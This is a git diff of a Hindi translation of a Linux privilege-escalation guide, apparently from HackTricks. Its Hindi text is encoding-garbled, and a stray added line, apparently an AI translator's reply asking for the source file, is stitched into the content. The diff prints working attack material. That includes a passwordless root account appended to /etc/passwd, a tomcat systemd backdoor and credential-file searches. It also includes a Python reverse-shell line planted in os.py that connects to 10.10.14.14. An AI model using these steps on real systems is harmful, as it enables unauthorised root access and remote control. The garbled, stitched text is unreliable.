рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ password рдЬрдирд░реЗрдЯ рдХрд░реЗрдВред +рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдбреЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рдмрдирд╛рдПрдВред ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -рдлрд┐рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `hacker` рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдЙрддреНрдкрдиреНрди рдкрд╛рд╕рд╡рд░реНрдб рдЬреЛрдбрд╝реЗрдВред +рдХреГрдкрдпрд╛ src/linux-hardening/privilege-escalation/README.md рдХреА рдкреВрд░реА рд╕рд╛рдордЧреНрд░реА рднреЗрдЬреЗрдВ рддрд╛рдХрд┐ рдореИрдВ рдЙрд╕рдХрд╛ рд╣рд┐рдВрджреА рдореЗрдВ рдЕрдиреБрд╡рд╛рдж рдХрд░ рд╕рдХреВрдБред + +рдореИрдВ рдлрд╛рдЗрд▓ рдХреЗ рдЕрдиреБрд╡рд╛рдж рдореЗрдВ рдЕрдВрдд рдореЗрдВ user `hacker` рдФрд░ рдПрдХ рдЙрддреНрдкрдиреНрди рдкрд╛рд╕рд╡рд░реНрдб рдЬреЛрдбрд╝ рджреВрдБрдЧрд╛, рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдореИрдВ рдЖрдкрдХреА рдорд╢реАрди рдкрд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ user рдирд╣реАрдВ рдмрдирд╛ рд╕рдХрддрд╛тАФрдореИрдВ рдХреЗрд╡рд▓ рдЯреЗрдХреНрд╕реНрдЯ/markdown рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХрд░ рдХреЗ рд▓реМрдЯрд╛рдКрдБрдЧрд╛ред рдХреНрдпрд╛ рдЖрдк рдкрд╛рд╕рд╡рд░реНрдб рдХреА рд▓рдВрдмрд╛рдИ рдФрд░ рдЙрд╕рдореЗрдВ symbols/numbers рд╢рд╛рдорд┐рд▓ рд╣реЛрдиреЗ рдХреА рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рдмрддрд╛рдирд╛ рдЪрд╛рд╣реЗрдВрдЧреЗ? ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -рдЙрджрд╛: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +рдЙрджрд╛рд╣рд░рдг: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -рдЕрдм рдЖрдк `su` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ `hacker:hacker` рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +рдЕрдм рдЖрдк `hacker:hacker` рдХреЗ рд╕рд╛рде `su` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ -рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдЖрдк рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдПрдХ рдирдХрд▓реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ рдЪреЗрддрд╛рд╡рдиреА: рдпрд╣ рдорд╢реАрди рдХреА рд╡рд░реНрддрдорд╛рди рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдХрдо рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдЖрдк рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдПрдХ рдбрдореА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрди рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ.\ +WARNING: рдЖрдк рдорд╢реАрди рдХреА рд╡рд░реНрддрдорд╛рди рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдХрдордЬреЛрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -рдиреЛрдЯ: BSD рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдореНрд╕ рдкрд░ `/etc/passwd` рдХрд╛ рд╕реНрдерд╛рди `/etc/pwd.db` рдФрд░ `/etc/master.passwd` рд╣реИ, рд╕рд╛рде рд╣реА `/etc/shadow` рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ `/etc/spwd.db` рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +рдиреЛрдЯ: BSD рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ `/etc/passwd` `/etc/pwd.db` рдФрд░ `/etc/master.passwd` рдкрд░ рд╕реНрдерд┐рдд рд╣реЛрддрд╛ рд╣реИ, рд╕рд╛рде рд╣реА `/etc/shadow` рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ `/etc/spwd.db` рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЖрдк **рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА **рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓** рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ? +рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЖрдк **рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА **service configuration file** рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдорд╢реАрди рдкрд░ рдПрдХ **tomcat** server рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдк **modify the Tomcat service configuration file inside /etc/systemd/,** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрди рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ: +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдорд╢реАрди рдкрд░ **tomcat** server рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдк **modify the Tomcat service configuration file inside /etc/systemd/,** рддреЛ рдЖрдк рдЗрди рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -рдЖрдкрдХрд╛ backdoor рдЕрдЧрд▓реА рдмрд╛рд░ рдЬрдм tomcat рд╢реБрд░реВ рд╣реЛрдЧрд╛ рддрдм рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред +Your backdoor will be executed the next time that tomcat is started. -### Check Folders +### рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдЬрд╛рдБрдЪ -рдирд┐рдореНрди рдлрд╝реЛрд▓реНрдбрд░реНрд╕ рдореЗрдВ рдмреИрдХрдЕрдк рдпрд╛ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рд╣реЛ рд╕рдХрддреА рд╣реИрдВ: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (рд╢рд╛рдпрдж рдЖрдк рдЖрдЦрд┐рд░реА рд╡рд╛рд▓реЗ рдХреЛ рдкрдврд╝ рди рд╕рдХреЗрдВ, рд▓реЗрдХрд┐рди рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ) +рдирд┐рдореНрди рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рдмреИрдХрдЕрдк рдпрд╛ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛ рд╕рдХрддреА рд╣реИ: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (рд╢рд╛рдпрдж рдЖрдк рдЖрдЦрд┐рд░реА рдХреЛ рдкрдврд╝ рди рд╕рдХреЗрдВ, рдкрд░ рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### рдЕрдЬреАрдм рд╕реНрдерд╛рди/Owned рдлрд╝рд╛рдЗрд▓реЗрдВ +### рдЕрдЬреАрдм рд╕реНрдерд╛рди/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1311,7 +1311,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### рдкрд┐рдЫрд▓реЗ рдХреБрдЫ рдорд┐рдирдЯреЛрдВ рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдлрд╝рд╛рдЗрд▓реЗрдВ +### рдкрд┐рдЫрд▓реЗ рдорд┐рдирдЯреЛрдВ рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдлрд╝рд╛рдЗрд▓реЗрдВ ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1323,7 +1323,7 @@ find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### рдЫрд┐рдкреА рд╣реБрдИ рдлрд╝рд╛рдЗрд▓реЗрдВ +### рдЫрд┐рдкреА рд╣реБрдИ рдлрд╛рдЗрд▓реЗрдВ ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` @@ -1343,22 +1343,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### рдЬреНрдЮрд╛рдд рдлрд╝рд╛рдЗрд▓реЗрдВ рдЬрд┐рдирдореЗрдВ passwords рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ +### рдРрд╕реА рдЬреНрдЮрд╛рдд рдлрд╛рдЗрд▓реЗрдВ рдЬрд┐рдирдореЗрдВ passwords рд╣реЛрддреЗ рд╣реИрдВ -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) рдХреЗ рдХреЛрдб рдХреЛ рдкрдврд╝реЗрдВ, рдпрд╣ **рдХреБрдЫ рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ passwords рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ**.\\ -**рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рдЯреВрд▓** рдЬрд┐рд╕реЗ рдЖрдк рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) рдЬреЛ рдПрдХ open source application рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ Windows, Linux & Mac рдкрд░ рд▓реЛрдХрд▓ рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрдИ passwords рдХреЛ retrieve рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) рдХреЗ рдХреЛрдб рдХреЛ рдкрдврд╝реЗрдВ тАФ рдпрд╣ рдЙрди **рдХрдИ рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ рдЬрд┐рдирдореЗрдВ passwords рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ** рдХреА рддрд▓рд╛рд╢ рдХрд░рддрд╛ рд╣реИред\ +**рдПрдХ рдФрд░ рд░реЛрдЪрдХ рдЯреВрд▓** рдЬрд┐рд╕реЗ рдЖрдк рдЗрд╕рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) рдЬреЛ рдПрдХ open source application рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ local computer рдкрд░ Windows, Linux & Mac рдХреЗ рд▓рд┐рдП рд╕реНрдЯреЛрд░ рдХрд┐рдП рдЧрдП рдмрд╣реБрдд рд╕рд╛рд░реЗ passwords рдХреЛ retrieve рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -### Logs +### рд▓реЙрдЧреНрд╕ -рдЕрдЧрд░ рдЖрдк logs рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдирдореЗрдВ **рджрд┐рд▓рдЪрд╕реНрдк/рдЧреЛрдкрдиреАрдп рдЬрд╛рдирдХрд╛рд░реА** рдвреВрдБрдв рдкрд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЬрд┐рддрдирд╛ рдЕрдЬреАрдм log рд╣реЛрдЧрд╛, рдЙрддрдирд╛ рд╣реА рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрдЧрд╛ (рд╢рд╛рдпрдж).\\ -Also, some "bad" configured (backdoored?) audit logs may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +рдЕрдЧрд░ рдЖрдк logs рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдирдореЗрдВ **рджрд┐рд▓рдЪрд╕реНрдк/рдЧреЛрдкрдиреАрдп рдЬрд╛рдирдХрд╛рд░реА** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЬрд┐рддрдирд╛ рдЕрдЬреАрдм рд▓реЙрдЧ рд╣реЛрдЧрд╛, рд╡рд╣ рдЙрддрдирд╛ рд╣реА (рд╢рд╛рдпрдж) рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрдЧрд╛ред\ +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреБрдЫ "**рдЦрд░рд╛рдм**" рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП (backdoored?) **audit logs** рдЖрдкрдХреЛ audit logs рдХреЗ рдЕрдВрджрд░ **record passwords** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -**рд▓реЙрдЧ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдореВрд╣** [**adm**](interesting-groups-linux-pe/index.html#adm-group) рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдмрд╣реБрдд рдорджрджрдЧрд╛рд░ рд╣реЛрдЧрд╛ред +рд▓реЙрдЧреНрд╕ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП **рд╕рдореВрд╣** [**adm**](interesting-groups-linux-pe/index.html#adm-group) рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдмрд╣реБрдд рдорджрджрдЧрд╛рд░ рд╣реЛрдЧрд╛ред -### Shell рдлрд╝рд╛рдЗрд▓реЗрдВ +### Shell рдлрд╛рдЗрд▓реЗрдВ ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1371,41 +1371,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -рдЖрдкрдХреЛ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рднреА рдЬрд╛рдБрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдЬрд┐рдирдХреЗ **name** рдореЗрдВ рдпрд╛ **content** рдХреЗ рдЕрдВрджрд░ рд╢рдмреНрдж "**password**" рдореМрдЬреВрдж рд╣реЛрдВ, рдФрд░ рд╕рд╛рде рд╣реА logs рдХреЗ рднреАрддрд░ IPs рдФрд░ emails рдпрд╛ hashes regexps рдХреА рднреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред\ -рдореИрдВ рдпрд╣рд╛рдБ рдпрд╣ рд╕рдм рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ рдХреА рд╕реВрдЪреА рдирд╣реАрдВ рджреЗ рд░рд╣рд╛ рд╣реВрдБ рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк рдЗрдЪреНрдЫреБрдХ рд╣реИрдВ рддреЛ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) рдХреМрди-рдХреМрди рд╕реЗ рдЕрдВрддрд┐рдо рдЪреЗрдХреНрд╕ рдХрд░рддрд╛ рд╣реИред +рдЖрдкрдХреЛ рдЙрди рдлрд╛рдЗрд▓реЛрдВ рдХреА рднреА рдЬрд╛рдБрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдЬрд┐рдирдХреЗ **рдирд╛рдо** рдореЗрдВ рдпрд╛ рдЙрдирдХреЗ **рдХрдВрдЯреЗрдВрдЯ** рдХреЗ рдЕрдВрджрд░ рд╢рдмреНрдж "**password**" рдореМрдЬреВрдж рд╣реЛрдВ, рдФрд░ рд▓реЙрдЧреНрд╕ рдореЗрдВ IPs рдФрд░ emails рдпрд╛ hashes regexps рднреА рдЪреЗрдХ рдХрд░реЗрдВред\ +рдореИрдВ рдпрд╣рд╛рдБ рдпрд╣ рд╕рдм рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ рд╕реВрдЪреАрдмрджреНрдз рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛/рд░рд╣реА рд╣реВрдБ, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк рдЗрдЪреНрдЫреБрдХ рд╣реИрдВ рддреЛ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) рджреНрд╡рд╛рд░рд╛ рдХреМрди рд╕реЗ рдЖрдЦрд╝рд┐рд░реА рдЪреЗрдХ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред -## рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╛рдЗрд▓реЗрдВ +## Writable files ### Python library hijacking -рдпрджрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдХреЛрдИ python script **рдХрд╣рд╛рдБ рд╕реЗ** execute рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИ рдФрд░ рдЖрдк рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ **рд▓рд┐рдЦ** рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЖрдк **python libraries рдХреЛ modify** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк OS library рдХреЛ modify рдХрд░рдХреЗ рдЙрд╕реЗ backdoor рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдпрджрд┐ рдЖрдк рдЙрд╕ рдЬрдЧрд╣ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ python script execute рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИ, рддреЛ os.py library рдХреЛ copy рдФрд░ paste рдХрд░ рджреЗрдВ)ред +рдпрджрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдХреЛрдИ python рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рд╕ **рд╕реНрдерд╛рди** рд╕реЗ execute рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИ рдФрд░ рдЖрдк рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ **can write inside** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЖрдк **modify python libraries** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк OS рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ modify рдХрд░рдХреЗ рдЙрд╕рдореЗрдВ backdoor рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ (рдпрджрд┐ рдЖрдк рдЙрд╕ рдЬрдЧрд╣ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ python рд╕реНрдХреНрд░рд┐рдкреНрдЯ execute рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИ, os.py рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ copy рдФрд░ paste рдХрд░ рд▓реЗрдВ)ред -To **backdoor the library** рдмрд╕ os.py library рдХреЗ рдЕрдВрдд рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд╛рдЗрди рдЬреЛрдбрд╝ рджреЗрдВ (IP рдФрд░ PORT рдмрджрд▓реЗрдВ): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate рдХрд╛ рд╢реЛрд╖рдг +### Logrotate рд╢реЛрд╖рдг -`logrotate` рдореЗрдВ рдПрдХ рдХрдордЬреЛрд░реА рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЬреЛ рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдпрд╛ рдЙрд╕рдХреЗ рдкреИрд░реЗрдВрдЯ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдкрд░ **write permissions** рд░рдЦрддреЗ рд╣реИрдВ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ escalated privileges рджрд┐рд▓рд╛ рд╕рдХрддреА рд╣реИред рдРрд╕рд╛ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ `logrotate`, рдЬреЛ рдЕрдХреНрд╕рд░ **root** рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ, рдХреЛ arbitrary рдлрд╝рд╛рдЗрд▓реЗрдВ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореИрдирд┐рдкреБрд▓реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЦрд╛рд╕рдХрд░ рдРрд╕реА рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдореЗрдВ рдЬреИрд╕реЗ _**/etc/bash_completion.d/**_. рдпрд╣ рдЬрд╝рд░реВрд░реА рд╣реИ рдХрд┐ рдЖрдк permissions рд╕рд┐рд░реНрдлрд╝ _/var/log_ рдореЗрдВ рд╣реА рдирд╣реАрдВ рдмрд▓реНрдХрд┐ рдХрд┐рд╕реА рднреА рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдЪреЗрдХ рдХрд░реЗрдВ рдЬрд╣рд╛рдВ log rotation рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИред +`logrotate` рдореЗрдВ рдПрдХ рдХрдордЬреЛрд░реА рдЙрди users рдХреЛ рдЬрд┐рдирдХреЗ рдкрд╛рд╕ рдХрд┐рд╕реА log рдлрд╝рд╛рдЗрд▓ рдпрд╛ рдЙрд╕рдХреЗ parent рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** рд╣реИ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ privileges escalate рдХрд░рдиреЗ рджреЗрддреА рд╣реИред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ `logrotate`, рдЬреЛ рдЕрдХреНрд╕рд░ `root` рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ, рдХреЛ arbitrary рдлрд╝рд╛рдЗрд▓реЗрдВ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП manipulate рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЦрд╛рд╕рдХрд░ рдЙрди рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдореЗрдВ рдЬреИрд╕реЗ _**/etc/bash_completion.d/**_. рдпрд╣ рдЬрд╝рд░реВрд░реА рд╣реИ рдХрд┐ permissions рдХреЗрд╡рд▓ _/var/log_ рдореЗрдВ рд╣реА рдирд╣реАрдВ рдмрд▓реНрдХрд┐ рдЙрди рдХрд┐рд╕реА рднреА рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рднреА рдЪреЗрдХ рдХрд┐рдП рдЬрд╛рдПрдБ рдЬрд╣рд╛рдБ log rotation рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИред > [!TIP] -> рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рджреЛрд╖ 